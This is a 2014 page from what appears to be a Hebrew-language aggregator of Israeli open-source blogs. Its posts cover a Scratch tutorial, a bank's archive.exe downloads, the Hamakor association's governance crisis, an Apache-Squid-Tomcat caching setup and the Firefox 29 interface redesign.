(אם תרצו לשמור את הפרויקט במחשב שלכם, לחצו על תפריט קובץ ובחרו באפשרות: ״הורד למחשב שלך״.)

כאשר אתם מוכנים, לחצו על ראה דף פרויקט

דף פרויקט
דף פרויקט

לחצו מסך מלא לקבלת מסך מלא.

לחצו שיתוף כדי שאחרים יוכלו לצפות ולשחק בפרויקט שלכם. כאשר אתם משתפים, אחרים יכולים לבקר ולשחק בפרויקט שלכם.

הוסיפו הערות לפרויקט.

מה עכשיו? תוכלו לצור פרויקט חדש או לחקור לקבלת רעיונות.

כדי ללמוד עוד, לחצו עזרה או גלשו אל http://scratch.mit.edu/help (אנגלית).

למי שרוצה להעמיק עוד יותר, מומלץ לקרוא את הספר בעברית: עקרונות ומושגים במדעי המחשב דרך Scratch, מאת מיכל ארמוני ומוטי בן-ארי. ניתן להוריד את הספר בחינם. שימו לב: הספר נכתב לגרסה 1.4 של סקראץ׳. ניתן להוריד מאותו קישור דף הסבר על השינויים בגרסה 2.

16 August, 2014 03:02 PM

10 August, 2014

Hetz Ben Hemo

הנח"ש – על מה אני משלם בעצם?

למי שלא מכיר אותי – בחיים הפרטיים שלי אני אדם שאוהב להשקיע בשביל לקבל מוצר ושרותים טובים מאחרים, גם כאשר מדובר במחירים גבוהים יותר מהצעות מתחרות. כל עוד יש הצדקה – אני אשמח להוציא את הארנק ולשלם. כמעט בכל התחלת … להמשיך לקרוא

הטקסט המלא

10 August, 2014 06:36 AM

27 July, 2014

Amir Aharoni

ארכיון

אני יכול לקרוא באתר הבנק מכתבים שלפני עידן האינטרנט הבנק היה שולח לי בדואר. זה טוב, כי רובם לא חשובים מספיק בשביל לשלוח בדואר.
אבל מדי פעם מגיע משהו חשוב שאני רוצה לשמור במחשב. ניסיתי לשמור עכשיו מכתב אחד באמצעות כפתור השמירה. ואז הדפדפן שואל אותי אם אני רוצה לשמור קובץ בשם archive.exe.

קראתם נכון, exe.

בנק לאומי, אנחנו ב־2014. יש היום יותר אנשים שמשתמשים במערכות הפעלה שלא יכולות לפתוח קובצי exe מאנשים שמתקשים לפתוח קובצי zip. מהירות הרשת כבר מזמן ביטלה כל צורך להשתמש בכיווץ קבצים, בוודאי כשמדובר בקובץ בודד.

אנא אפשרו לי להוריד את המכתב הזה בתור קובץ טקסט, PDF, ליברה אופיס או לפחות וורד.


נ״ב: בשדות שם המשתמש והססמה אתם עדיין מגדירים dir="rtl", למרות שהם תמיד כתובים משמאל לימין. זה אמור להיות תיקון של שורה אחת. יהיה נחמד אם תתקנו את זה.


27 July, 2014 08:49 AM

16 May, 2014

Tomer Cohen

עמותת המקור במשבר — עזרתכם נדרשת!

ביום חמישי האחרון התקיימה האספה השנתית של עמותת המקור, במטרה לסכם את הפעילות בשנה האחרונה ולבחור את נציגיה בוועד הנהלת העמותה ובוועדת הביקורת כפי שמחייב החוק.

האספה נקבעה להתכנס בשעה 18:00, ונראה שלמרבית המשתתפים הזמן היה רק המלצה. מודה, אני איחרתי במספר דקות והתנצלתי על כך מול הנוכחים מיד כשנכנסתי, אבל עבור אחרים שהגיעו לאחר 19:00 זה לא נראה חריג להגיע באיחור. ובכן, אם היה קיים קושי כלשהו להגיע בזמן וזה היה ידוע לכם מראש למה לא ביקשתם להתחיל את המפגש בשעה מאוחרת יותר? למה לגרום לאחרים להזדרז להגיע בזמן ולהתייבש בהמתנה שתגיעו אם לכם יש תכניות אחרות?

האספה התחילה בשעה 19:00 עם חבר ועד העמותה, אדיר אברהם שנשא דברים על פעילויות העמותה בשנה האחרונה.אני מציג פה את הפעילויות כפי שאני זוכר אותן כעת כי לא טרחתי לסכם אותן בזמן אמת, ואני מצטער אם אני משמיט פרטים חשובים.

לאחר הצגת הפעילויות השונות וגם חזרה עליה לטובת המאחרים המשיך אדיר והציג בפנינו קצת מהווי הפעילות בוועד העמותה. לטענתו, שזכתה גם לגיבוי מצד חבר וועדת הביקורת, הוא ביצע כ־95% מכלל הפעילות בעמותה כאשר שני חברי הוועד האחרים מופיעים ונעלמים לסירוגין, ומטלות שמועברות אליהן עלולות להתפספס והזמינות שלהם באמצעי הקשר הקיימים שואפת לאפס בתקופות מסוימות. כתוצאה מכך משימות שלמות חומקות מבין אצבעותינו או תקועות עד שמישהו לוקח יוזמה ומטפל בנושא בעצמו (למשל משימת איסוף הקלטות הווידאו והעלאתן לאתר העמותה שהייתה תקועה במשך זמן רב בטיפולו של אחד מחברי הוועד והושלמה רק לאחר שחברת עמותה יקרה נקטה יוזמה ולקחה על עצמה את האחריות על משימה זו).

כתוצאה מבעייתיות פעילות חברי הוועד הגיעה העמותה למבוי סתום. חסרים מסמכים הדרושים לצורך קיום האספה לפי התכנית שנקבעה מראש ולפי דרישות רשם העמותות, ולמעשה, אין כרגע בידינו אפילו רישום מסודר ומעודכן של חברי העמותה מה שבאופן פרקטי מונע את ביצוע ההצבעה על בחירת חברי הוועד הנכנס.

כתוצאה מכשלים אלו, בצער רב הובאה בפנינו ההחלטה על קיומה של אסיפה נוספת בעוד חודש מהיום עם ההצעה לפרק את העמותה שעולה על הפרק. כדי למנוע את ההחלטה הזו צריכים עד אז להמציא רוב של חברים שיחליטו למנוע צעד זה ויציעו את עצמם לכהן בוועד הנכנס. עבור הוועד הנכנס כנראה תהיה עבודה רבה וממושכת לשמר את קיום העמותה במתכונתה הנוכחית, אבל אם טובת הקהילה חשובה לנו עלינו להשקיע לטובת שימור העמותה.

 

עמותת המקור קיימת קצת יותר מעשור, ומטרותיה המוצהרות הן קידום של קוד פתוח ותוכנה חופשית בארץ. בימיה הראשונים של העמותה מונחי חופש תוכנה, וקוד פתוח לא היו שגורים בפיהם של אנשי טכנולוגיה והציבור הכללי, ובשנים האחרונות נראית גדילה משמעותית בשימוש במושגים אלו ובכוח שלנו לדרוש תאימות לתוכנות קוד פתוח ואף לקדם מיזמים ציבוריים שמטרתם לשפר את נגישות הציבור למידע.

במהלך השנים עמותת המקור פעלה רבות לטובת שיפור ההיכרות של הקהל הרחב עם מושגים מעולם התוכנה החופשית והקוד הפתוח. פעילים בעמותה השתתפו בישיבות בוועדות ממשלתיות ועוזרים לנו לשנות את החוקים הקיימים במדינה כך שיכירו בקיומן של תוכנות חלופיות למערכות הפעלה ותוכנות שנמצאות בשליטתם של תאגיד בודד. קיומם של כנסים דוגמת הכנס לקוד פתוח במגזר הביטחוני מאפשרים לראשונה שיתוף פעולה בין זרועות ביטחוניות שונות ומוציאים בכל שנה עשרות צעירים למגזר הפרטי שמגיעים אליו עם היכרות רבה עם תפישה זו ועוזרים לנו לקדם את הרעיון הלאה. קיום כנס אוגוסט פינגווין מאפשר לנו להיפגש כקהילה במפגש פנים מול פנים ולהחליף דעות ורעיונות. המשאבים שהעמותה מעמידה בדמות שרתים ומערכות מאפשר לנו כפעילי תוכנה חופשית בארץ להמשיך לפעול עם הגב הקיים של עמותה המחברת בין הפעילים השונים.

כפי שכתבתי קודם, לדעתי זה לא הזמן לחסל את העמותה. רעיונותיה חשובים לנו ואנחנו עדיין מאמינים בהם. מחסור במתנדבים זו בעיה לא חדשה בעמותה ולדעתי נובעת בעיקר מחוסר הרצון של הפעילים השונים להכניס יד בריאה למיטה חולה. כדי שהעמותה תתנהל כמו שצריך אנחנו צריכים בראש ובראשונה אנשים רציניים שיכהנו בתפקידים הקיימים וכמה שיותר פעילים שונים שיפעלו בעמותה במסגרות השונות. אף־אחד מעולם לא קבע שהעמותה צריכה להיות מופעלת עם כמות של שישה פעילים בלבד שמקיימים בניהם רוטציה בתפקידים השונים, ואם אנחנו כקהילה פעילה של כמה עשרות או מאות פעילים עדיין רואים את עצמנו כחלק מהעמותה, עלינו להתחיל לחשוב איך אנחנו רוצים שתיראה העמותה בעתיד.

הטקסט המלא

16 May, 2014 10:34 AM

14 May, 2014

Amit Tal

התקנת סביבת פיתוח לאינטרנט עם אובונטו 14.04

למדריך התקנת פיתוח לאינטרנט עם אובונטו 14.04 לחצו כאן

ועכשיו ההסבר:
הקישור מוביל לאתר חדש שאני עובד עליו. האתר פונה למפתחי אינטרנט ומעצבי אינטראקטיב ויעסוק בנושאים הקשורים לעיצוב אינטראקטיבי, פיתוח פרונט-אנד וכדו'.
האתר נמצא כרגע בפיתוח אבל אני כבר מתחיל לפרסם בו פוסטים אז אתם מוזמנים לעקוב ויותר מכך, להעיר.
אם מצאתם אי דיוקים או שמשהו בעיצוב מפריע לכם אני אשמח לשמוע ולתקן. קליק >

הטקסט המלא

14 May, 2014 01:34 PM

27 April, 2014

Dan Fruehauf

Apache, Squid, Tomcat

This is going to be a quick “grocery list” to get a configuration of Apache -> Squid -> Tomcat going, allowing for a cache of multiple webapps at the same time.

The Common Case – Apache & Tomcat

Commonly people would have a configuration of Apache -> Tomcat serving web applications. However sometimes you would like to add that extra bit of simple caching for that webapp. Sometime it can really speed up things!!

Assuming you have Tomcat all configured and serving a webapp on http://localhost:8080/webapp and a vhost in apache which would look like:

<VirtualHost *:80>
  ServerName www.webapp.com

  LogLevel info
  ErrorLog /var/log/apache2/www.webapp.com-error.log
  CustomLog /var/log/apache2/www.webapp.com-access.log combined

  ProxyPreserveHost On

  ProxyPass           /webapp http://localhost:8080/webapp
  ProxyPassReverse    /webapp http://localhost:8080/webapp

  RewriteEngine On
  RewriteOptions inherit
  RewriteLog /var/log/apache2/www.webapp.com-rewrite.log
  RewriteLogLevel 0

</VirtualHost>

Simple! Just forward all /webapp requests to http://localhost:8080/webapp

Squid In The Middle

A simple squid configuration for us would look like:

# some boilerplate configuration for squid
acl manager proto cache_object
acl localhost src 127.0.0.1/32
acl to_localhost dst 127.0.0.0/8 0.0.0.0/32
acl localnet src 10.0.0.0/8
acl localnet src 172.16.0.0/12
acl localnet src 192.168.0.0/16
acl Safe_ports port 80
acl Safe_ports port 443	
acl Safe_ports port 8080-8100 # webapps
acl purge method PURGE
acl CONNECT method CONNECT

http_access allow manager localhost
http_access deny manager
http_access allow purge localhost
http_access deny purge
http_access deny !Safe_ports
http_access allow localhost
http_access allow localnet
http_access deny all

icp_access allow localnet
icp_access deny all
http_port 3128

hierarchy_stoplist cgi-bin ?
access_log /var/log/squid/access.log squid
hosts_file /etc/hosts
coredump_dir /var/spool/squid3

# adjust your cache size!
cache_dir ufs /var/cache/squid 20480 16 256
cache_mem 5120 MB

#################################
# interesting part start here!! #
#################################
# adjust this to your liking
maximum_object_size 200 KB

# required to handle same URL with different parameters differently
# so for instance these two following URLs are treated as distict URLs, hance they will
# be cached separately
# http://localhost:8080/webapp/a?param=1
# http://localhost:8080/webapp/a?param=2
strip_query_terms off

# just for some better logging
logformat combined %>a %ui %un [%tl] "%rm %ru HTTP/%rv" %>Hs %<st "%{Referer}>h" "%{User-Agent}>h" %Ss:%Sh

# refresh_pattern is subject to change, but if you decide to cache a webapp, you must make sure it actually gets cached!
# many webapps do not like to get cached, so you can play with all sorts of parameters such as override-expire, ignore-reload
# and ignore-no-cache. the following directive will SURELY cache any page on the following webapp for 1 hours (60 minutes)
# adjust the regexp(s) below to suit your own needs!!
refresh_pattern http://localhost:8080/webapp/.* 60 100% 60 override-expire ignore-reload ignore-no-cache

Now, we need to plug apache to use the above squid configuration. Luckily it’s pretty simple, the only line you need is:

# basically every request going to http://localhost:8080/webapp, pass via squid
ProxyRemote http://localhost:8080/webapp http://localhost:3128

And the whole vhost again:

<VirtualHost *:80>
  ServerName www.webapp.com

  LogLevel info
  ErrorLog /var/log/apache2/www.webapp.com-error.log
  CustomLog /var/log/apache2/www.webapp.com-access.log combined

  ProxyPreserveHost On
  ProxyRemote http://localhost:8080/webapp http://localhost:3128

  ProxyPass           /webapp http://localhost:8080/webapp
  ProxyPassReverse    /webapp http://localhost:8080/webapp

  RewriteEngine On
  RewriteOptions inherit
  RewriteLog /var/log/apache2/www.webapp.com-rewrite.log
  RewriteLogLevel 0

</VirtualHost>

That’s it, now look at /var/log/squid/access.log and look for TCP_MEM_HIT and TCP_HIT. If you’re still getting TCP_MISS and the like, you’ll have to adjust your refresh_pattern in the squid configuration.

Multiple Webapps?

Not a problem if you have multiple webapps, if you want them to be cached, just add the magic line passing them through squid and the relevant squid refresh_pattern.

Don’t want a webapp to be cached? Just bypass the squid!


27 April, 2014 03:41 AM

22 April, 2014

Tomer Cohen

המראה החדש של פיירפוקס

בעוד מספר ימים יצא עדכון לגרסה חדשה של פיירפוקס. עדכון זה יכלול שינוי משמעותי במראה הדפדפן שמוזילה עמלים עליו מזה זמן רב ויצא לי לעקוב אחריו מקרוב בחודשים האחרונים. ברשומה זו אסקןר את השינויים הבולטים.

ברצוני להקדים ולהגיב לחששות של אלו שמתלוננים כי פיירפוקס הולך והופך לאחיו התאום של דפדפן גוגל כרום. זה לא המצב, ומהר מאד נעלם הדמיון העיצובי בין שני הדפדפנים. למעשה, ניתן לטעון באותה מידה שגוגל כרום ופיירפוקס דומים בעיצוב שלהם לאופרה וספארי, שכוללים עיצוב דומה מאד לזה של אינטרנט אקספלורר, ושכולם בעצם דומים לדפדפנים שנעלמו זה מכבר מהעולם דוגמת מוזיאק.

דפדפן האינטרנט הראשון הראשון נקרא WorldWideWeb והוא פותח למעשה יחד עם פרוטוקול HTTP ושפת העיצוב HTML. ככזה, הוא היה הדפדפן שנתן את הטון וכל הדפדפנים שבאו אחריו היו חייבים לחקות את אופן עבודתו. בשנים שלאחר מכן הופיעו דפדפנים נוספים שכל אחד מהם אימץ את התכונות והמראה של קודמיו ובמקביל השמיט דברים שנראו למפתחיו מיותרים. מספר שנים לאחר מכן שוק הדפדפנים די התייצב עם דפדפנים כגון "נטסקייפ", "אינטרנט אקספלורר" ונוספים, שגרמו להכחדתם של הדפדפנים החלוציים ולמעשה יצרו מעין מראה אחיד בין הדפדפנים השונים במראה ובתפקודם. באותה תקופה כבר הופיעו כפתורי ניווט קדימה ואחורה בהיסטוריה, המושג "דף בית" שמוביל לדף שנבחר על־ידי המשתמש כנקודת מוצא לגלישה ברשת, סימניות/מועדפים וכדומה.

שנים לאחר מכן, עם צמיחתה של רשת האינטרנט והשיפורים הרבים בכוח המחשוב השתנתה גם התנהגותם של משתמשי הרשת, ובמקום לגשת לדף בודד הם התחילו לפתוח מספר דפים במקביל, והשלב האבולוציוני הבא היה התווספותן של הלשוניות (או כרטיסיות, או טאבים, כפי שבוודאי הבנתם אין הסכמה ברורה על המושגים והמונחים). הלשוניות הופיעו בהתחלה בדפדפני נישה דוגמת נטקפטור, ובהמשך הגיעו לדפדפנים נפוצים יותר דוגמת אופרה ומוזילה. דפדפן אינטרנט אקספלורר באותה תקופה היה הנפוץ ביותר עם גרסאות 5.5 ו־6, והיה נראה שמפתחיו מסרבים להאמין שהאופנה החדשה תתפוס, עד שלבסוף הופיעו גם בו לשוניות, בהתחלה כסרגל כלים נלווה ולראשונה כחלק מהדפדפן כשיצא אינטרנט אקספלורר 7, אם כי עברו עוד מספר שנים עד שאפשר היה להשוות את היכולות של תכונה זו לדפדפנים אחרים שהקדימו לאמץ את ממשקי הלשוניות.

כשגוגל כרום הגיח לאוויר העולם כבר כל הדפדפנים כללו תמיכה בלשוניות, מראה סרגל הניווט בניהם היה די אחיד, ולגוגל, כחדשים בשוק הדפדפנים הייתה אפשרות יקרה מפז לנסות לחדש בתחום מבלי שמשתמשים ותיקים יתלוננו שהם מנסים לשנות להם הרגלים קודמים. כשגוגל עבדו על פיתוח הדפדפן שלהם לא זאת בלבד שהייתה להם האפשרות לשכור אנשים שעבדו בעברם על פיתוחים של דפדפנים אחרים, והאפשרות לעקוב מקרוב (וגם מבפנים, כאשר מדובר בדפדפנים שמפותחים בשקיפות מלאה לציבור, כמו במקרה של פיירפוקס), אלא גם האפשרות לממש שינויים שאצל האחרים היו קיימים ברמת אב טיפוס בלבד וטרם שולבו במוצרים עצמם.

גוגל ביצעו את השינוי המיוחל שלקח לדפדפנים האחרים זמן מה לממש בעצמם. גוגל הציגו לקהל דפדפן ששם את הגלישה במרכז ומצמצם למינימום את הממשק שמסביב, ובכך עוזר למשתמש למקד את המשתמש באתר עצמו כאשר מהממשק המשתמש הוסרו לחלוטין אלמנטים רבים לרבות שורת התפריטים, תיבת החיפוש ועוד. למרות זאת, נשאר דמיון ניכר לעין בין המראה של גוגל כרום לזה של שאר הדפדפנים מהתקופה – לשוניות, שורת כתובת, כפתורי ניווט וכדומה; אף־אחד לא האשים את גוגל בהעתקת אלמנטים מהמראה של דפדפנים אחרים פשוט כי מדובר ברכיבי הממשק שהורגלנו אליהם והשתמשנו בהם בקביעות. עברו מספר שנים מאז, והמראה של גוגל כרום לא השתנה באופן ניכר לעין.

Google Chrome 1 UI taken from Google Chrome comic book

תרשים הממשק של גוגל כרום כפי שהוצג לראשונה בחוברת הקומיקס של גוגל.

דפדפנים אחרים לא קפאו על שמריהם בשנים שעברו מאז, וכל אחד מהם השקיע מאמצים רבים בפיתוח של תכונות חדשות בממשק הדפדפן ולעתים קרובות גם אימוץ של תכונות שהופיעו בצורה זו או אחרת בדפדפנים אחרים. אני מתייחס ברשומה זו לתכונות הקשורות לממשק המשתמש אבל חשוב לזכור כי הדפדפנים הם לא רק המעטפת אלא גם המנוע שאחראי להצגת התכנים, ובשנים האחרונות המנועים של כל הדפדפנים עברו שדרוגים משמעותיים.

למשל שורת הכתובת, שבעבר הופיעו בה כתובות קודמות שהמשתמש ביקר בהן כעת הפכו לחכמות יותר; גוגל למשל נוהגים לשלב בהן בכרום תוצאות חיפוש, בעוד בפיירפוקס ניתן דגש להיסטורית הגלישה של המשתמש ולסימניות. דפי הפתיחה הפכו להיות מותאמים יותר למשתמש ומציגים את האתרים המועדפים על המשתמש, וכדומה. באופן דומה לשינויי הממשק ביישומים אחרים, דוגמת סרגלי הכלים של Microsoft Office בגרסאותיו האחרונות, שינוי אופן השימוש בסביבות עבודה מובילות בלינוקס דוגמת Gnome ו־KDE, כיום מקובל לתת דגש רב יותר על הפעולות שנמצאות בשימוש תדיר, ולהצניע כפתורים ופעולות שהמשתמש אינו נוהג להשתמש בהן.

לאחר הקדמה ארוכה זו, כאן אנחנו מגיעים חזרה להווה, ואל השינויים שרציתי להתייחס אליהם בקשר לגרסה החדשה של פיירפוקס.

אחידות – בראש ובראשונה המראה החדש של פיירפוקס נועד לייצר אחידות בין הגרסאות השונות של הדפדפן. כיום ישנן גרסאות של הדפדפן למחשבים, לטלפונים חכמים מבוססי אנדרואיד וגם למערכת ההפעלה שמוזילה עמלים כרגע על הפיתוח שלה, Firefox OS. כמו כן, במחשבים אישיים הדפדפן זמין לשלוש פלטפורמות שונות, ווינדוס, מקינטוש ולינוקס, והמראה בניהן לא תמיד היה זהה. המראה החדש של פיירפוקס מופיע כעת לראשונה במחשבים האישיים, אבל אפשר היה להבחין במוטיבים שונים ממנו בגרסה לאנדרואיד מזה זמן מה, כך שמדובר כעת באיחוד המראה של הדפדפן והפונקציונליות שלו בין סביבות עבודה שונות. במקור תוכן גם עיצוב ממשק דומה עבור ממשק המטרו של ווינדוס 8, אבל לאחרונה הוחלט להקפיא את העבודה עליו עקב היעדר דרישה לו מצד קהל המשתמשים.

לחצו כדי לצפות במצגת.

לשוניות חלקות – בראשית ימיהן, שורת לשוניות בדפדפנים הייתה דומות בצורה ויזואלית לשורת כפתורים כאשר כל כפתור מעביר לדף הנבחר. בהמשך הן קיבלו מראה שמזכיר במקצת מראה תלת ממדי כאשר האתר הפעיל היה מופיע בצורה מובלטת יותר משאר האתרים. בגרסה החדשה של פיירפוקס הלשוניות זכו למראה חלק ונעים לעין.

המראה החדש של פיירפוקס במחשב האישי

שורת התפריטים מפנה את מקומה – שורת התפריטים היא שריד מתקופה בה ממשקי משתמש כללו עשרות פריטים מוסתרים בתפריטים. נהוג היה לקבץ פריטים דומים בתפריט אחד, כך שלמשל הפעולות של פתיחה ושמירת קבצים היו מופיעות תחת תפריט "קובץ", ופעולות גזירה והדבקה של טקסט בתפריט "עריכה", אבל עם הזמן נוספו לתפריטים פעולות שלא ברור למה הן מוקמו באותם המקומות כמו פעולת ההדפסה בתפריט "קובץ" למרות שלכאורה לא מדובר כאן בפעולה שקשורה ישירות למערכת הקבצים, ומוסכמות מוזרות יותר כמו תפריט "כלים" שכלל אוסף לא ברור של פעולות בניהן האפשרות לגשת להגדרות היישום (כלים ← אפשרויות), בעוד במערכות הפעלה אחרות אותו פריט הגדרות הסתתר בכלל בתפריט עריכה (עריכה ← העדפות). בגרסה זו הוגדר כי תפריטי הכלים לא יופיעו כלל, אבל אל דאגה, הם עדיין קיימים ונגישים בלחיצה על המקש Alt במקלדת ובקיצורי מקשים דומים.

תפריט מאוחד חדש – ההחלטה להעלים את שורת התפריטים לא חדשה, ולמעשה בסביבות עבודה מסוימות התפריטים מוסתרים כבר מזה זמן מה. את התפריטים החליף כפתור כתוב עם הכיתוב Firefox שהיה מופיע גם בצבעים שונים בהתאם לגרסה שהופעלה ולמצב הגלישה הפרטי. בגרסה זו של פיירפוקס הוחלף התפריט הטקסטואלי בתפריט מאוחד חדש שכולל צלמיות גדולות וברורות לפעולות נפוצות נוספות.

Firefox 29 menu panel screenshot

לוח התפריט המאוחד בפיירפוקס 29

התאמה אישית של פקדי הממשק – רבים נוהגים להשוות את פיירפוקס לדפדפנים אחרים כפי שכתבתי בתחילתה של רשומה זו. אותם אנשים לעתים קרובות מתעלמים מיכולות ההתאמה האישית המגוונות של פיירפוקס, המאפשרות לשלוט באופן מיטבי במראה הדפדפן וגם בפונקציונליות הממשק שלו. בגרסה זו הוחלף מנגנון ההתאמה האישית של הממשק במסך התאמה אישית חדש, המאפשר למשתמשים להזיז כל אחד מהפקדים בממשק, ולראשונה גם לשלוט בפקדים שיופיעו בתפריט.

Firefox 29 customization screenshot

התאמה אישית של פקדי הדפדפן

יכולות ההתאמה האישית מאפשרות להזיז את הפקדים השונים בממשק ואף להסיר פריטים שלא נחוצים. למשל אנשים שלא מעוניינים בתיבת חיפוש יכולים להסיר אותה ללא חשש ולהמשיך לבצע את החיפושים דרך תיבת המיקום (שורת הכתובת). אנשים שמעוניינים להשתמש בדפדפן לצורכי תצוגה יכולים לבחור להסיר מהדפדפן את תיבת המיקום כמו גם את שאר הכפתורים בממשק ובכך להקשות על משתמשים מזדמנים לעבור לאתרים אחרים. למעשה, בזכות אפשרויות ההתאמה האישית בתפריט החדש ניתן אף למקם בתוכו פקדים שונים כרצונם, ואנשים מוכשרים שהתפריט כלל אינו נחוץ להם יכולים לבחור להסיר ממנו את כל הפקדים.

פיירפוקס עם מראה מותאם אישית

פיירפוקס עם מראה מותאם אישית

בר הרחבה – ללא ספק, הרחבות מאפשרות לשנות את מראה הדפדפן ואופן התפקוד שלו. המראה החדש שומר על קו עיצובי עם המראה של הדפדפן בסביבות אחרות, אבל לא נחסמת האפשרות לבצע בו שינויים ושיפורים הן באמצעות תפריטי היישום, העדפות נסתרות, ערכות נושא והרחבות. אנשים שלא אוהבים את המראה החדש של הדפדפן יכולים, למשל, לבחור להשתמש בהרחבה Classic Theme Restorer המתיימרת להחזיר לדפדפן את המראה השמרני והמרובע, או להתקין כל אחת מאלפי ערכות הנושא הזמינות באתר התוספות.

הלאה אל העתיד – המראה החדש של הדפדפן לא צפוי להשתנות באופן ניכר בגרסאות הבאות, אבל אין זה אומר שלא יבוצעו במראה הדפדפן בגרסאות הבאות. החל משילוב תכונות מדף הלשונית החדשה בדף הפתיחה, המשך העברת חלונות יישום ללשוניות (נסו להקליד בשורת הכתובת about:permissions או about:preferences כדי לצפות במימוש החלקי עוד היום), החלפת תפריטי ההקשר הטקסטואליים בתפריט נוח יותר לשימוש שניתן להתאמה אישית בדומה ללוח התפריט החדש, יכולות הטמעה משופרות ליישומי רשת שיוצגו במסכים משלהם ללא סרגלי הדפדפן זאת כדי להתאים את המראה והתפקוד שלהם ליישומים טבעיים במערכת, ועוד ועוד, השמיים הם הגבול.

כמובן, במוזילה המשתמשים הם במרכז העניינים, ויכולים להשפיע בצורה משמעותית על כיווני ההתפתחות העתידיים של הדפדפן. למעשה, ארגון מוזילה מתנהל בשקיפות, וכל אדם הרוצה בכך יכול לצפות במרבית הפעילות של מוזילה. קוד המקור של הגרסאות הבאות של היישומים השונים כבר זמין ברשת כקוד פתוח, דיווחי התקדמות במימוש של תכונות שונות זמין לכל דורש, וכל מי שמעריכים את העקרונות של מוזילה מוזמנים ומוזמנות להצטרף לקהילה הרחבה של מוזילה ולעזור לנו לעצב את העתיד.

הטקסט המלא

22 April, 2014 04:07 AM

17 April, 2014

Yaniv Gershoni

עתיקות...


מצאתי (אחרי שכל העולם כבר פרסם את זה...) את המקלדת הוירטואלית עם קיצורי הדרך של בלנדר.
(למי שלא ראה, זה כאן: http://waldobronchart.be/blenderkeyboard)

הסתובבתי קצת בין קיצורי הדרך וראיתי פתאום שאם לוחצים על Ctrl+Alt+מקש הרווח נכנסים למצב של...
"Create Orientation"

לחצתי וקיבלתי תפריט קטנצי'ק בצד שמאל למטה שנראה כך:


מיותר לציין שזה לא עשה משהו מיוחד...
אז חיפשתי בגוגל מה זה השד הזה ולמדתי משהו חדש שלמעשה קיים עוד מהגרסאות הקדומות של בלנדר (לפחות 2.49):

פרטים נוספים »

הטקסט המלא

17 April, 2014 03:21 PM

13 April, 2014

Meir Gil

חבר חדש Darktable, או איך לעשות Post Production בכמה שניות

היי כבר המון זמן לא כתבתי בבלוג, האמת שאף פעם לא שכחתי אותו פשוט רוב הדברים שיש לי לשתף לא מצדיקים פוסט אלא יותר כמה מילים בG+. אז מה מצדיק פוסט? תחביב שיש לי זה לראות סרטוני Timelapse של יצירות בבלנדר, זה תמיד נחמד לראות גישות שונות של יצירה ואחרי שמכירים כבר את הכלים זה נחמד לראות איך עוד אפשר להשתמש בהם, אתמול ישבתי לראות את הTimelapse הזה ובסוף הסרטון אני רואה שהוא משתמש בתוכנה בשם

13 April, 2014 08:50 AM

07 April, 2014

astupidog

pySioGame - עכשיו גם בעברית

pysiogame זו חבילת משחקים לימודיים בקוד פתוח שתואמת לכל מערכות ההפעלה. המשחקים ברמות שונות ומיועדים לילדים מגיל 3 עד 10.

הטקסט המלא

07 April, 2014 06:39 AM